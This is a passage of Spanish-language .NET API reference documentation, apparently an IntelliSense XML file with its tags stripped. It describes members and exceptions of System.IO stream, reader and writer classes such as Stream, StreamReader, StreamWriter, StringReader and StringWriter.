bien se produjo un desbordamiento aritmético. + La instancia de la secuencia actual está cerrada. + 2 + + + Establece la longitud de la secuencia actual en el valor especificado. + Valor en el que establecer la longitud. + La secuencia actual no es de tamaño variable y es mayor que la capacidad actual.o bien La secuencia actual no admite escritura. + + es negativo o es mayor que la longitud máxima de la , donde la longitud máxima es ( -origin), y el origen es el índice del búfer subyacente donde comienza la secuencia. + 2 + + + Escribe el contenido de la secuencia en una matriz de bytes, independientemente de la propiedad . + Nueva matriz de bytes. + 2 + + + Devuelve la matriz de bytes sin signo a partir de la cual se creó esta secuencia.El valor devuelto indica si la conversión se realizó correctamente. + Es true si la conversión se realiza correctamente; en caso contrario, es false. + El segmento de matriz de bytes desde el que se creó esta secuencia. + + + Escribe un bloque de bytes en la secuencia actual usando los datos leídos en un búfer. + Búfer del que se van a escribir datos. + Desplazamiento en bytes de base cero en la en la que se comienzan a copiar los bytes en la secuencia actual. + Número máximo de bytes que se pueden escribir. + El valor de es null. + La secuencia no es compatible con la escritura.Para obtener más información, vea .o bien La posición actual está más cerca que bytes al final de la secuencia y la capacidad no se puede modificar. + + resta de la longitud del búfer es menor que . + + o son negativos. + Se produce un error de E/S. + La instancia de la secuencia actual está cerrada. + 2 + + + Escribe de forma asincrónica una secuencia de bytes en la secuencia actual, se hace avanzar la posición actual dentro de la secuencia el número de bytes escritos y controla las solicitudes de cancelación. + Tarea que representa la operación de escritura asincrónica. + Búfer del que se van a escribir datos. + Desplazamiento en bytes de base cero de desde donde se comienzan a copiar los bytes en la secuencia. + Número máximo de bytes que se pueden escribir. + Token para supervisar solicitudes de cancelación.El valor predeterminado es . + El valor de es null. + + o es negativo. + La suma de y es mayor que la longitud del búfer. + La secuencia no es compatible con la escritura. + Se ha eliminado la secuencia. + La secuencia está actualmente en uso por una operación de escritura anterior. + + + Escribe un byte en la posición actual de la secuencia actual. + Byte que se va a escribir. + La secuencia no es compatible con la escritura.Para obtener más información, vea .o bien La posición actual se encuentra al final de la secuencia y la capacidad no se puede modificar. + La secuencia actual está cerrada. + 2 + + + Escribe el contenido completo de esta secuencia de memoria en otra secuencia. + Secuencia en la que se va a escribir esta secuencia de memoria. + El valor de es null. + La secuencia actual o de destino está cerrada. + 2 + + + Especifica la posición usada para buscar en una secuencia. + 2 + + + Especifica el comienzo de una secuencia. + + + Especifica lo posición actual dentro de la secuencia. + + + Especifica el final de una secuencia. + + + Proporciona una vista genérica de una secuencia de bytes.Esta es una clase abstracta.Para examinar el código fuente de .NET Framework para este tipo, consulte el Reference Source. + 2 + + + Inicializa una nueva instancia de la clase . + + + Cuando se reemplaza en una clase derivada, obtiene un valor que indica si la secuencia actual admite lectura. + true si la secuencia admite lectura; en caso contrario, false. + 1 + + + Cuando se reemplaza en una clase derivada, obtiene un valor que indica si la secuencia actual admite búsquedas. + true si la secuencia admite búsquedas; en caso contrario, false. + 1 + + + Obtiene un valor que determina si se puede agotar el tiempo de espera de la secuencia actual. + Un valor que determina si se puede agotar el tiempo de espera de la secuencia actual. + 2 + + + Cuando se reemplaza en una clase derivada, obtiene un valor que indica si la secuencia actual admite escritura. + true si el flujo admite escritura; en caso contrario, false. + 1 + + + Lee los bytes de la secuencia actual y los escribe en otra secuencia de destino. + Secuencia en la que se copiará el contenido de la secuencia actual. + El valor de es null. + La secuencia actual no admite lectura.o bien no se admite la escritura. + La secuencia de actual o se cerraron antes de la se llamó al método. + Error de E/S. + + + Lee todos los bytes de la secuencia actual y los escribe en otra secuencia, usando el tamaño de búfer especificado. + Secuencia en la que se copiará el contenido de la secuencia actual. + Tamaño del búfer.Este valor debe ser mayor que cero.El tamaño predeterminado es 81920. + El valor de es null. + + es un valor negativo o es cero. + La secuencia actual no admite lectura.o bien no se admite la escritura. + La secuencia de actual o se cerraron antes de la se llamó al método. + Error de E/S. + + + Lee asincrónicamente los bytes de la secuencia actual y los escribe en otra secuencia. + Tarea que representa la operación de copia asincrónica. + Secuencia en la que se copiará el contenido de la secuencia actual. + El valor de es null. + Se desecha la secuencia actual o la secuencia de destino. + La secuencia actual no admite lectura o la secuencia de destino no admite escritura. + + + Lee asincrónicamente los bytes de la secuencia actual y los escribe en otra secuencia, usando el tamaño de búfer especificado. + Tarea que representa la operación de copia asincrónica. + Secuencia en la que se copiará el contenido de la secuencia actual. + Tamaño del búfer en bytes.Este valor debe ser mayor que cero.El tamaño predeterminado es 81920. + El valor de es null. + + es un valor negativo o es cero. + Se desecha la secuencia actual o la secuencia de destino. + La secuencia actual no admite lectura o la secuencia de destino no admite escritura. + + + Lee asincrónicamente los bytes de la secuencia actual y los escribe en otra secuencia, utilizando el tamaño de búfer y el token de cancelación especificados. + Tarea que representa la operación de copia asincrónica. + Secuencia en la que se copiará el contenido de la secuencia actual. + Tamaño del búfer en bytes.Este valor debe ser mayor que cero.El tamaño predeterminado es 81920. + Token para supervisar solicitudes de cancelación.El valor predeterminado es . + El valor de es null. + + es un valor negativo o es cero. + Se desecha la secuencia actual o la secuencia de destino. + La secuencia actual no admite lectura o la secuencia de destino no admite escritura. + + + Libera todos los recursos usados por . + + + Libera los recursos no administrados que usa y libera los recursos administrados de forma opcional. + Es true para liberar tanto recursos administrados como no administrados; es false para liberar únicamente recursos no administrados. + + + Cuando se reemplaza en una clase derivada, borra todos los búferes de esta secuencia y hace que todos los datos almacenados en el búfer se escriban en el dispositivo subyacente. + Se produce un error de E/S. + 2 + + + Borra asincrónicamente todos los búferes de esta secuencia y hace que los datos almacenados en búfer se escriban en el dispositivo subyacente. + Tarea que representa la operación de vaciado asincrónico. + Se ha eliminado la secuencia. + + + Borra asincrónicamente todos los búferes del flujo actual, hace que todos los datos almacenados en el búfer se escriban en el dispositivo subyacente y supervisa las solicitudes de cancelación. + Tarea que representa la operación de vaciado asincrónico. + Token para supervisar solicitudes de cancelación.El valor predeterminado es . + Se ha eliminado la secuencia. + + + Cuando se reemplaza en una clase derivada, obtiene la longitud en bytes de la secuencia. + Un valor Long que representa la longitud de la secuencia en bytes. + Una clase derivada de Stream no admite la búsqueda. + Tras cerrar la secuencia, se llamó a algún método. + 1 + + + Stream sin memoria auxiliar. + 1 + + + Cuando se reemplaza en una clase derivada, se obtiene o se establece la posición dentro de la secuencia actual. + Posición actual dentro de la secuencia. + Se produce un error de E/S. + La secuencia no admite búsquedas. + Tras cerrar la secuencia, se llamó a algún método. + 1 + + + Cuando se reemplaza en una clase derivada, se lee una secuencia de bytes en la secuencia actual y se hace avanzar la posición dentro de la secuencia el número de bytes leídos. + Número total de bytes leídos en el búfer.Puede ser menor que el número de bytes solicitado si dicho número no está disponible, o puede ser cero (0) si se alcanza el final de la secuencia. + Matriz de bytes.Cuando este método devuelve un valor, el búfer contiene la matriz de bytes especificada con valores entre y ( + - 1) reemplazada con los bytes leídos del origen actual. + Desplazamiento en bytes de base cero de donde se comienza a almacenar los datos leídos de la secuencia actual. + Número máximo de bytes que se deben leer de la secuencia actual. + La suma de y es mayor que la longitud del búfer. + El valor de es null. + + o es negativo. + Se produce un error de E/S. + La secuencia no admite lectura. + Tras cerrar la secuencia, se llamó a algún método. + 1 + + + Lee asincrónicamente una secuencia de bytes de la secuencia actual y avanza la posición en esta secuencia según el número de bytes leídos. + Tarea que representa la operación de lectura asincrónica.El valor del parámetro contiene el número total de bytes leídos en el búfer.El valor del resultado puede ser menor que el número de bytes solicitados si el número de bytes disponibles actualmente es menor que el número solicitado o puede ser 0 (cero) si se ha llegado al final de la secuencia. + Búfer en el que se escriben los datos. + Posición de desplazamiento en bytes de donde se comienza a escribir los datos del flujo. + Número máximo de bytes que se pueden leer. + El valor de es null. + + o es negativo. + La suma de y es mayor que la longitud del búfer. + La secuencia no admite lectura. + Se ha eliminado la secuencia. + La secuencia está actualmente en uso por una operación de lectura anterior. + + + Lee de forma asincrónica una secuencia de bytes en la secuencia actual, se hace avanzar la posición dentro de la secuencia el número de bytes leídos y controla las solicitudes de cancelación. + Tarea que representa la operación de lectura asincrónica.El valor del parámetro contiene el número total de bytes leídos en el búfer.El valor del resultado puede ser menor que el número de bytes solicitados si el número de bytes disponibles actualmente es menor que el número solicitado o puede ser 0 (cero) si se ha llegado al final de la secuencia. + Búfer en el que se escriben los datos. + Posición de desplazamiento en bytes de donde se comienza a escribir los datos del flujo. + Número máximo de bytes que se pueden leer. + Token para supervisar solicitudes de cancelación.El valor predeterminado es . + El valor de es null. + + o es negativo. + La suma de y es mayor que la longitud del búfer. + La secuencia no admite lectura. + Se ha eliminado la secuencia. + La secuencia está actualmente en uso por una operación de lectura anterior. + + + Lee un byte de la secuencia y hace avanzar la posición de la secuencia en un byte, o devuelve -1 si está al final de la secuencia. + Byte sin signo convertido en Int32,o bien -1 si está al final de la secuencia. + La secuencia no admite lectura. + Tras cerrar la secuencia, se llamó a algún método. + 2 + + + Obtiene o establece un valor, en milisegundos, que determina durante cuánto tiempo la secuencia intentará realizar operaciones de lectura antes de que se agote el tiempo de espera. + Valor, en milisegundos, que determina durante cuánto tiempo la secuencia intentará realizar operaciones de lectura antes de que se agote el tiempo de espera. + El método siempre produce una . + 2 + + + Cuando se reemplaza en una clase derivada, se establece la posición dentro de la secuencia actual. + La nueva posición dentro de la secuencia actual. + Desplazamiento de bytes relacionado con el parámetro . + Valor de tipo que indica el punto de referencia utilizado para obtener la nueva posición. + Se produce un error de E/S. + La secuencia no admite búsquedas, como en el caso donde la secuencia se cree a partir de los resultados de una canalización o consola. + Tras cerrar la secuencia, se llamó a algún método. + 1 + + + Cuando se reemplaza en una clase derivada, se establece la longitud de la secuencia actual. + Longitud deseada de la secuencia actual, en bytes. + Se produce un error de E/S. + La secuencia no admite operaciones de lectura ni escritura, como en el caso donde la secuencia se cree a partir de los resultados de una canalización o consola. + Tras cerrar la secuencia, se llamó a algún método. + 2 + + + Cuando se reemplaza en una clase derivada, se escribe una secuencia de bytes en la secuencia actual y se hace avanzar la posición actual dentro de la secuencia el número de bytes escritos. + Matriz de bytes.Este método copia bytes desde al flujo actual. + Desplazamiento en bytes de base cero en la en la que se comienzan a copiar los bytes en la secuencia actual. + Número de bytes que se deben escribir en la secuencia actual. + La suma de  y  es mayor que la longitud del búfer. + + es null. + + o  es negativo. + Se produjo un error de E/S, como no se puede encontrar el archivo especificado. + La secuencia no es compatible con la escritura. + + se llama después de cerrar la secuencia. + 1 + + + Escribe asincrónicamente una secuencia de bytes en la secuencia actual y avanza la posición actual en esta secuencia según el número de bytes escritos. + Tarea que representa la operación de escritura asincrónica. + Búfer del que se van a escribir datos. + Desplazamiento en bytes de base cero de desde donde se comienzan a copiar los bytes en la secuencia. + Número máximo de bytes que se pueden escribir. + El valor de es null. + + o es negativo. + La suma de y es mayor que la longitud del búfer. + La secuencia no es compatible con la escritura. + Se ha eliminado la secuencia. + La secuencia está actualmente en uso por una operación de escritura anterior. + + + Escribe de forma asincrónica una secuencia de bytes en la secuencia actual, se hace avanzar la posición actual dentro de la secuencia el número de bytes escritos y controla las solicitudes de cancelación. + Tarea que representa la operación de escritura asincrónica. + Búfer del que se van a escribir datos. + Desplazamiento en bytes de base cero de desde donde se comienzan a copiar los bytes en la secuencia. + Número máximo de bytes que se pueden escribir. + Token para supervisar solicitudes de cancelación.El valor predeterminado es . + El valor de es null. + + o es negativo. + La suma de y es mayor que la longitud del búfer. + La secuencia no es compatible con la escritura. + Se ha eliminado la secuencia. + La secuencia está actualmente en uso por una operación de escritura anterior. + + + Escribe un byte a la posición actual en la secuencia y avanza la posición de la secuencia en un byte. + Byte que se debe escribir en la secuencia. + Se produce un error de E/S. + La secuencia no admite escritura o ya se encuentra cerrada. + Tras cerrar la secuencia, se llamó a algún método. + 2 + + + Obtiene o establece un valor, en milisegundos, que determina durante cuánto tiempo la secuencia intentará realizar operaciones de escritura antes de que se agote el tiempo de espera. + Valor, en milisegundos, que determina durante cuánto tiempo la secuencia intentará realizar operaciones de escritura antes de que se agote el tiempo de espera. + El método siempre produce una . + 2 + + + Implementa un que lee los caracteres de una secuencia de bytes en una codificación determinada.Para examinar el código fuente de .NET Framework para este tipo, consulte el Reference Source. + 1 + + + Inicializa una nueva instancia de la clase para el flujo especificado. + Secuencia que se va a leer. + + no se admite la lectura. + El valor de es null. + + + Inicializa una nueva instancia de la clase para la secuencia especificada, con la opción especificada de detección de marcas de orden de bytes. + Secuencia que se va a leer. + Indica si se deben buscar marcas de orden de byte al comienzo del archivo. + + no se admite la lectura. + El valor de es null. + + + Inicializa una nueva instancia de la clase para la secuencia especificada y con la codificación de caracteres indicada. + Secuencia que se va a leer. + Codificación de caracteres que se utilizará. + + no se admite la lectura. + El valor de o es null. + + + Inicializa una nueva instancia de la clase de la secuencia especificada, con la codificación de caracteres especificada y la opción especificada de detección de marcas de orden de bytes. + Secuencia que se va a leer. + Codificación de caracteres que se utilizará. + Indica si se deben buscar marcas de orden de byte al comienzo del archivo. + + no se admite la lectura. + El valor de o es null. + + + Inicializa una nueva instancia de la clase de la secuencia especificada, con la codificación de caracteres especificada, la opción especificada de detección de marcas de orden de bytes y el tamaño del búfer. + Secuencia que se va a leer. + Codificación de caracteres que se utilizará. + Indica si se deben buscar marcas de orden de byte al comienzo del archivo. + Tamaño mínimo de búfer. + La secuencia no admite lectura. + El valor de o es null. + + es menor o igual que cero. + + + Inicializa una nueva instancia de la clase de la secuencia especificada basada en la codificación de caracteres especificada, la opción especificada de detección de marcas de orden de bytes y el tamaño del búfer y, opcionalmente, deja abierta la secuencia. + Secuencia que se va a leer. + Codificación de caracteres que se utilizará. + Es true para buscar marcas de orden de byte al comienzo del archivo; en caso contrario, es false. + Tamaño mínimo de búfer. + true para dejar el flujo abierto después de desechar el objeto ; de lo contrario, false. + + + Devuelve la secuencia subyacente. + Secuencia subyacente. + 2 + + + Obtiene la codificación de caracteres que actualmente utiliza este objeto . + Codificación de caracteres que utiliza actualmente este lector.El valor puede ser diferente después de la primera llamada a cualquier método de , ya que la detección automática de la codificación no se realiza hasta la primera llamada a un método . + 2 + + + Borra el búfer interno. + 2 + + + Cierra la secuencia subyacente, libera los recursos no administrados que utiliza y, de forma opcional, libera los recursos administrados. + Es true para liberar tanto recursos administrados como no administrados; es false para liberar únicamente recursos no administrados. + + + Obtiene un valor que indica si la actual posición está al final de la secuencia. + Es true si la actual posición está al final de la secuencia; en caso contrario, es false. + Se ha eliminado la secuencia subyacente. + 1 + + + Objeto en torno a una secuencia vacía. + 1 + + + Devuelve el siguiente carácter disponible pero no lo consume. + Entero que representa el siguiente carácter que se va a leer, o -1 si no hay caracteres que leer o si la secuencia no admite la operación de búsqueda. + Se produce un error de E/S. + 1 + + + Lee el siguiente carácter de la secuencia de entrada y hace avanzar la posición de los caracteres en un carácter. + El siguiente carácter de la secuencia de entrada que se representa como un objeto , o -1 si no hay más caracteres disponibles. + Se produce un error de E/S. + 1 + + + Lee un máximo especificado de caracteres de la secuencia actual en un búfer, comenzando en el índice especificado. + Número de caracteres leídos. Si se llega al final de la secuencia y no se leyó ningún dato es 0.El número será menor o igual que el parámetro , dependiendo de si los datos están disponibles dentro de la secuencia. + El resultado que devuelve este método contiene la matriz de caracteres especificada con valores entre e () reemplazada por los caracteres leídos del origen actual. + Índice de en el que comenzará la escritura. + Número máximo de caracteres que se van a leer. + La longitud del búfer menos es menor que . + El valor de es null. + + o es negativo. + Se produce un error de E/S, como el cierre de la secuencia. + 1 + + + Lee de forma asincrónica un número máximo de caracteres especificado en la secuencia actual y escribe los datos en un búfer, comenzando en el índice especificado. + Tarea que representa la operación de lectura asincrónica.El valor del parámetro contiene el número total de bytes leídos en el búfer.El valor del resultado puede ser menor que el número de bytes solicitados si el número de bytes disponibles actualmente es menor que el número solicitado o puede ser 0 (cero) si se ha llegado al final de la secuencia. + Cuando este método finaliza, contiene la matriz de caracteres especificada con valores entre e ( + - 1) reemplazada con los caracteres leídos del origen actual. + Lugar de en el que comenzará la escritura. + Número máximo de caracteres que se van a leer.Si el final de la secuencia se alcanza antes de escribir el número de caracteres especificado en el búfer, el método actual vuelve. + El valor de es null. + + o es negativo. + La suma de y es mayor que la longitud del búfer. + Se ha eliminado la secuencia. + El lector está actualmente en uso por una operación de lectura anterior. + + + Lee un número máximo de caracteres especificado en la secuencia actual y escribe los datos en un búfer, comenzando en el índice especificado. + Número de caracteres que se han leído.Este número será menor o igual que , dependiendo de si se han leído todos los caracteres de entrada. + El resultado que devuelve este método contiene la matriz de caracteres especificada con valores entre e () reemplazada por los caracteres leídos del origen actual. + Lugar de en el que comenzará la escritura. + Número máximo de caracteres que se van a leer. + El valor de es null. + La longitud del búfer menos es menor que . + + o es negativo. + El se cierra. + Error de E/S. + + + Lee de forma asincrónica un número máximo de caracteres especificado en la secuencia actual y escribe los datos en un búfer, comenzando en el índice especificado. + Tarea que representa la operación de lectura asincrónica.El valor del parámetro contiene el número total de bytes leídos en el búfer.El valor del resultado puede ser menor que el número de bytes solicitados si el número de bytes disponibles actualmente es menor que el número solicitado o puede ser 0 (cero) si se ha llegado al final de la secuencia. + Cuando este método finaliza, contiene la matriz de caracteres especificada con valores entre e ( + - 1) reemplazada con los caracteres leídos del origen actual. + Lugar de en el que comenzará la escritura. + Número máximo de caracteres que se van a leer.Si el final de la secuencia se alcanza antes de escribir el número de caracteres especificado en el búfer, el método vuelve. + El valor de es null. + + o es negativo. + La suma de y es mayor que la longitud del búfer. + Se ha eliminado la secuencia. + El lector está actualmente en uso por una operación de lectura anterior. + + + Lee una línea de caracteres de la secuencia actual y devuelve los datos como una cadena. + Línea siguiente de la secuencia de entrada, o null si se alcanza el final de la secuencia de entrada. + No hay memoria suficiente como para asignar un búfer a la cadena devuelta. + Se produce un error de E/S. + 1 + + + Lee de forma asincrónica una línea de caracteres de la secuencia actual y devuelve los datos como una cadena. + Tarea que representa la operación de lectura asincrónica.El valor del parámetro contiene la línea siguiente de la secuencia, o es null si se han leído todos los caracteres. + El número de caracteres en la siguiente línea es mayor que . + Se ha eliminado la secuencia. + El lector está actualmente en uso por una operación de lectura anterior. + + + Lee todos los caracteres desde la posición actual hasta el final de la secuencia. + Resto de la secuencia, como una cadena, desde la posición actual hasta el final.Si la posición actual se encuentra al final de la secuencia, devuelve una cadena vacía (""). + No hay memoria suficiente como para asignar un búfer a la cadena devuelta. + Se produce un error de E/S. + 1 + + + Lee de forma asincrónica todos los caracteres desde la posición actual hasta el final de la secuencia y los devuelve como una cadena. + Tarea que representa la operación de lectura asincrónica.El valor del parámetro contiene una cadena con los caracteres desde la posición actual hasta el final de la secuencia. + El número de caracteres es mayor que . + Se ha eliminado la secuencia. + El lector está actualmente en uso por una operación de lectura anterior. + + + Implementa para escribir los caracteres de una secuencia en una codificación determinada.Para examinar el código fuente de .NET Framework para este tipo, consulte el fuente de referencia de. + 1 + + + Inicializa una nueva instancia de la clase para la secuencia especificada usando la codificación UTF-8 y el tamaño de búfer predeterminado. + Secuencia en la que se va a escribir. + No se puede escribir en . + + is null. + + + Inicializa una nueva instancia de la clase para la secuencia especificada usando la codificación especificada y el tamaño de búfer predeterminado. + Secuencia en la que se va a escribir. + Codificación de caracteres que se utilizará. + + o es null. + No se puede escribir en . + + + Inicializa una nueva instancia de la clase para la secuencia especificada usando la codificación y el tamaño de búfer especificados. + Secuencia en la que se va a escribir. + Codificación de caracteres que se utilizará. + Tamaño del búfer en bytes. + + o es null. + El valor de es negativo. + No se puede escribir en . + + + Inicializa una nueva instancia de la clase para la secuencia especificada usando la codificación y tamaño de búfer especificados y, opcionalmente deja abierta la secuencia. + Secuencia en la que se va a escribir. + Codificación de caracteres que se utilizará. + Tamaño del búfer en bytes. + true para dejar la secuencia abierta después de desechar el objeto ; de lo contrario, false. + + o es null. + El valor de es negativo. + No se puede escribir en . + + + Obtiene o establece un valor que indica si vaciará su búfer en la secuencia subyacente después de cada llamada a . + Es true para que vacíe su búfer; en caso contrario, es false. + 1 + + + Obtiene la secuencia subyacente que interactúa con una memoria auxiliar. + Secuencia en la que escribe este StreamWriter. + 2 + + + Libera los recursos no administrados que usa y, de forma opcional, libera los recursos administrados. + truepara liberar los recursos administrados y no administrados; false para liberar únicamente los recursos no administrados. + La codificación actual no admite que se muestre la mitad de un par suplente Unicode. + + + Obtiene el donde se escribe el resultado. + + especificado en el constructor para la instancia actual o si no se ha especificado una codificación. + 2 + + + Borra todos los búferes del sistema de escritura actual y hace que todos los datos almacenados en el búfer se escriban en la secuencia subyacente. + El sistema de escritura actual está cerrado. + Se produjo un error de E/S. + La codificación actual no admite que se muestre la mitad de un par suplente Unicode. + 1 + + + Borra todos los búferes para esta secuencia de forma asincrónica y hace que los datos almacenados en búfer se escriban en el dispositivo subyacente. + Tarea que representa la operación de vaciado asincrónico. + Se ha eliminado la secuencia. + + + Proporciona un StreamWriter sin memoria auxiliar, en el que se puede escribir pero no se puede leer. + 1 + + + Escribe un carácter en la secuencia. + Carácter que se va a escribir en la secuencia. + Se produce un error de E/S. + + es true o el búfer está lleno, y el sistema de escritura actual está cerrado. + + es true o el búfer está lleno, y el contenido del búfer no puede escribirse en la secuencia de tamaño fijo subyacente porque se encuentra al final de la secuencia. + 1 + + + Escribe una matriz de caracteres en la secuencia. + Matriz de caracteres que contiene los datos que se van a escribir.Si es null, no se escribe nada. + Se produce un error de E/S. + + es true o el búfer está lleno, y el sistema de escritura actual está cerrado. + + es true o el búfer está lleno, y el contenido del búfer no puede escribirse en la secuencia de tamaño fijo subyacente porque se encuentra al final de la secuencia. + 1 + + + Escribe una submatriz de caracteres en la secuencia. + Matriz de caracteres que contiene los datos que se van a escribir. + Posición del carácter en el búfer donde comenzar la lectura de datos. + Número máximo de caracteres que se van a escribir. + + is null. + La longitud del búfer menos es menor que . + El valor de o es negativo. + Se produce un error de E/S. + + es true o el búfer está lleno, y el sistema de escritura actual está cerrado. + + es true o el búfer está lleno, y el contenido del búfer no puede escribirse en la secuencia de tamaño fijo subyacente porque se encuentra al final de la secuencia. + 1 + + + Escribe una cadena en la secuencia. + Cadena que se debe escribir en la secuencia.Si es null, no se escribe nada. + + es true o el búfer está lleno, y el sistema de escritura actual está cerrado. + + es true o el búfer está lleno, y el contenido del búfer no puede escribirse en la secuencia de tamaño fijo subyacente porque se encuentra al final de la secuencia. + Se produce un error de E/S. + 1 + + + Escribe un carácter en la secuencia de forma asincrónica. + Tarea que representa la operación de escritura asincrónica. + Carácter que se va a escribir en la secuencia. + Se desecha el sistema de escritura de secuencias. + El escritor de secuencias está actualmente en uso por una operación de escritura anterior. + + + Escribe una submatriz de caracteres en la secuencia de forma asincrónica. + Tarea que representa la operación de escritura asincrónica. + Matriz de caracteres que contiene los datos que se van a escribir. + Posición del carácter en el búfer donde comienza la lectura de datos. + Número máximo de caracteres que se van a escribir. + + is null. + La suma de y es mayor que la longitud del búfer. + El valor de o es negativo. + Se desecha el sistema de escritura de secuencias. + El escritor de secuencias está actualmente en uso por una operación de escritura anterior. + + + Escribe una cadena en la secuencia de forma asincrónica. + Tarea que representa la operación de escritura asincrónica. + Cadena que se debe escribir en la secuencia.Si es null, no se escribe nada. + Se desecha el sistema de escritura de secuencias. + El escritor de secuencias está actualmente en uso por una operación de escritura anterior. + + + Escribe un terminador de línea de forma asincrónica en la secuencia. + Tarea que representa la operación de escritura asincrónica. + Se desecha el sistema de escritura de secuencias. + El escritor de secuencias está actualmente en uso por una operación de escritura anterior. + + + Escribe un carácter seguido de un terminador de línea de forma asincrónica en la secuencia. + Tarea que representa la operación de escritura asincrónica. + Carácter que se va a escribir en la secuencia. + Se desecha el sistema de escritura de secuencias. + El escritor de secuencias está actualmente en uso por una operación de escritura anterior. + + + Escribe una submatriz de caracteres seguida de un terminador de línea de forma asincrónica en la secuencia. + Tarea que representa la operación de escritura asincrónica. + Matriz de caracteres de la que se escriben los datos. + Posición del carácter en el búfer donde comenzar la lectura de datos. + Número máximo de caracteres que se van a escribir. + + is null. + La suma de y es mayor que la longitud del búfer. + El valor de o es negativo. + Se desecha el sistema de escritura de secuencias. + El escritor de secuencias está actualmente en uso por una operación de escritura anterior. + + + Escribe una cadena seguida de un terminador de línea de forma asincrónica en la secuencia. + Tarea que representa la operación de escritura asincrónica. + Cadena que se va a escribir.Si el valor es null, solo se escribe el terminador de línea. + Se desecha el sistema de escritura de secuencias. + El escritor de secuencias está actualmente en uso por una operación de escritura anterior. + + + Implementa que lee en una cadena. + 2 + + + Inicializa una nueva instancia de la clase que lee en la cadena especificada. + Cadena en la que debe inicializarse. + El parámetro es null. + + + Libera los recursos no administrados que utiliza la clase y, opcionalmente, libera los recursos administrados. + Es true para liberar tanto recursos administrados como no administrados; es false para liberar únicamente recursos no administrados. + + + Devuelve el siguiente carácter disponible pero no lo consume. + Un entero que representa el siguiente carácter que se va a leer, o -1 si no hay más caracteres disponibles o si la secuencia no admite la operación de búsqueda. + El sistema de lectura actual está cerrado. + 2 + + + Lee el siguiente carácter de la cadena de entrada y hace avanzar la posición de los caracteres en un carácter. + Siguiente carácter de la cadena subyacente, o -1 si no hay más caracteres disponibles. + El sistema de lectura actual está cerrado. + 2 + + + Lee un bloque de caracteres de la cadena de entrada y hace avanzar la posición de los caracteres en . + Número total de caracteres leídos en el búfer.Puede ser menor que el número de caracteres solicitado si dicho número de caracteres no está disponible, o puede ser cero si se alcanza el final de la cadena subyacente. + Cuando este método finaliza, contiene la matriz de caracteres especificada con valores entre e ( + - 1) reemplazada con los caracteres leídos del origen actual. + Índice inicial del búfer. + Número de caracteres que se va a leer. + + es null. + La longitud del búfer menos es menor que . + + o son negativos. + El sistema de lectura actual está cerrado. + 2 + + + Lee de forma asincrónica un número máximo de caracteres especificado en la cadena actual y escribe los datos en un búfer, comenzando en el índice especificado. + Tarea que representa la operación de lectura asincrónica.El valor del parámetro contiene el número total de bytes leídos en el búfer.El valor del resultado puede ser menor que el número de bytes solicitados si el número de bytes disponibles actualmente es menor que el número solicitado o puede ser 0 (cero) si se ha llegado al final de la cadena. + Cuando este método finaliza, contiene la matriz de caracteres especificada con valores entre e ( + - 1) reemplazada con los caracteres leídos del origen actual. + Lugar de en el que comenzará la escritura. + Número máximo de caracteres que se pueden leer.Si el final de la cadena se alcanza antes de escribir el número de caracteres especificado en el búfer, el método vuelve. + + es null. + + o son negativos. + La suma de y es mayor que la longitud del búfer. + El lector de cadenas se ha desechado. + El lector está actualmente en uso por una operación de lectura anterior. + + + Lee de forma asincrónica un número máximo de caracteres especificado en la cadena actual y escribe los datos en un búfer, comenzando en el índice especificado. + Tarea que representa la operación de lectura asincrónica.El valor del parámetro contiene el número total de bytes leídos en el búfer.El valor del resultado puede ser menor que el número de bytes solicitados si el número de bytes disponibles actualmente es menor que el número solicitado o puede ser 0 (cero) si se ha llegado al final de la cadena. + Cuando este método finaliza, contiene la matriz de caracteres especificada con valores entre e ( + - 1) reemplazada con los caracteres leídos del origen actual. + Lugar de en el que comenzará la escritura. + Número máximo de caracteres que se pueden leer.Si el final de la cadena se alcanza antes de escribir el número de caracteres especificado en el búfer, el método vuelve. + + es null. + + o son negativos. + La suma de y es mayor que la longitud del búfer. + El lector de cadenas se ha desechado. + El lector está actualmente en uso por una operación de lectura anterior. + + + Lee una línea de caracteres de la cadena actual y devuelve los datos como una cadena. + Línea siguiente de la cadena actual, o null si se alcanza el final de la cadena. + El sistema de lectura actual está cerrado. + No hay memoria suficiente como para asignar un búfer a la cadena devuelta. + 2 + + + Lee de forma asincrónica una línea de caracteres de la cadena actual y devuelve los datos como una cadena. + Tarea que representa la operación de lectura asincrónica.El valor del parámetro contiene la línea siguiente del lector de cadenas, o es null si se han leído todos los caracteres. + El número de caracteres de la siguiente línea es mayor que . + El lector de cadenas se ha desechado. + El lector está actualmente en uso por una operación de lectura anterior. + + + Lee todos los caracteres desde la posición actual hasta el final de la cadena y los devuelve como una cadena única. + Contenido desde la posición actual hasta el final de la cadena subyacente. + No hay memoria suficiente como para asignar un búfer a la cadena devuelta. + El sistema de lectura actual está cerrado. + 2 + + + Lee de forma asincrónica todos los caracteres desde la posición actual hasta el final de la cadena y los devuelve como una cadena única. + Tarea que representa la operación de lectura asincrónica.El valor del parámetro contiene una cadena con los caracteres desde la posición actual hasta el final de la cadena. + El número de caracteres es mayor que . + El lector de cadenas se ha desechado. + El lector está actualmente en uso por una operación de lectura anterior. + + + Implementa para escribir información en una cadena.La información se almacena en el subyacente. + 2 + + + Inicializa una nueva instancia de la clase . + + + Inicializa una nueva instancia de la clase con el control de formato especificado. + Objeto que controla las operaciones de formato. + + + Inicializa una nueva instancia de la clase que escribe en el especificado. + Objeto StringBuilder en el que se va a escribir. + + es null. + + + Inicializa una nueva instancia de la clase que escribe en el especificado y tiene el control de formato especificado. + Objeto StringBuilder en el que se va a escribir. + Objeto que controla las operaciones de formato. + + es null. + + + Libera los recursos no administrados que utiliza y libera los recursos administrados de forma opcional. + Es true para liberar tanto recursos administrados como no administrados; es false para liberar únicamente recursos no administrados. + + + Obtiene el donde se escribe el resultado. + Encoding donde se escribe el resultado. + 1 + + + Borra asincrónicamente todos los búferes del sistema de escritura actual y hace que todos los datos almacenados en el búfer se escriban en el dispositivo subyacente. + Tarea que representa la operación de vaciado asincrónico. + + + Devuelve el subyacente. + Objeto StringBuilder subyacente. + 2 + + + Devuelve una cadena que contiene los caracteres escritos hasta el momento en el StringWriter actual. + Cadena que contiene los caracteres escritos en el StringWriter actual. + 2 + + + Escribe un carácter en la cadena. + Carácter que se va a escribir. + El sistema de escritura está cerrado. + 2 + + + Escribe una submatriz de caracteres en la cadena. + Matriz de caracteres de la que se escriben los datos. + La posición en el búfer en el que se va a empezar a leer datos. + Número máximo de caracteres que se van a escribir. + + es null. + + o son negativos. + ( + ) > .Length. + El sistema de escritura está cerrado. + 2 + + + Escribe una cadena en la cadena actual. + Cadena que se va a escribir. + El sistema de escritura está 